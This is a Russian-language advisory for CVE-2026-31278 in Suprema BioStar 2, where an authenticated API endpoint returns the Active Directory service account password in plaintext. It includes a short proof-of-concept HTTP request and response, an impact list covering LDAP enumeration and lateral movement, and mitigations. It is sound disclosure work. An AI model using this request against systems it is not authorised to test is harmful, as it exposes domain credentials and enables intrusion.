CVE-2026-31278 Suprema BioStar 2: Раскрытие учетных данных Active Directory

Метаданные

Поле	Сведения
CVE ID	CVE-2026-31278
Вендор	Suprema Inc.
Продукт	BioStar 2
Тип уязвимости	Раскрытие конфиденциальной информации / Утечка учетных данных
Вектор атаки	Удаленный / Аутентифицированный / Низкая сложность
Серьезность	Высокий
Исправлено в	BioStar 2 v2.9.12 / BioStarX v1.0.2
Исследователь	Abdullah Alannaz

Краткое описание

Уязвимость раскрытия конфиденциальной информации существует в Suprema BioStar 2 из-за неправильной обработки настроек интеграции с Active Directory. Конечная точка внутреннего API /api/v2/setting/adserversetting возвращает учетные данные привязки Active Directory в открытом виде, несмотря на то, что пароль маскируется в административном интерфейсе.

Затронутые версии

BioStar 2 Core / AC v2.9.5.29
BioStar 2 T&A v2.9.5.3

Технические подробности

Хотя поле пароля маскируется в административном интерфейсе, аутентифицированные запросы к внутреннему API раскрывают полный незашифрованный пароль вместе с параметрами конфигурации LDAP, включая отключенную SSL-связь.

Аутентифицированный злоумышленник отправляет HTTP GET-запрос к конечной точке конфигурации AD-сервера и получает пароль учетной записи службы Active Directory в открытом виде в ответе сервера.

Подтверждение концепции

Запрос:

GET /api/v2/setting/adserversetting HTTP/1.1
Host: <target>
Authorization: Bearer <token>

Ответ:

{
  "ad_server": "ldap://internal.domain.local",
  "bind_dn": "CN=svc_biostar,DC=domain,DC=local",
  "password": "<plaintext_password_returned_here>",
  "ssl_enabled": false
}

Влияние

Аутентифицированный злоумышленник может использовать раскрытые учетные данные для:

Выполнения аутентификации LDAP в Active Directory
Перечисления пользователей домена, групп и организационных единиц
Проведения разведки внутренней сети
Осуществления бокового перемещения по системам, подключенным к домену
Потенциального повышения привилегий в зависимости от разрешений учетной записи службы

Хронология

CVE-2026-31278 назначен MITRE | Исправление выпущено BioStar 2 v2.9.12 / BioStarX v1.0.2 |

Устранение

Обновитесь до BioStar 2 v2.9.12 или BioStarX v1.0.2
Немедленно смените все учетные данные учетных записей служб Active Directory
Ограничьте доступ к API только доверенными сегментами сети
Включите LDAPS (SSL) для связи с Active Directory

Ссылки

Suprema Inc.: https://www.supremainc.com

Благодарность

Abdullah Alannaz Исследователь безопасности

Эта уязвимость была ответственно раскрыта компании Suprema. Вендор подтвердил проблему и скоординировался с MITRE для назначения CVE.

CVE-2026-31278

Популярное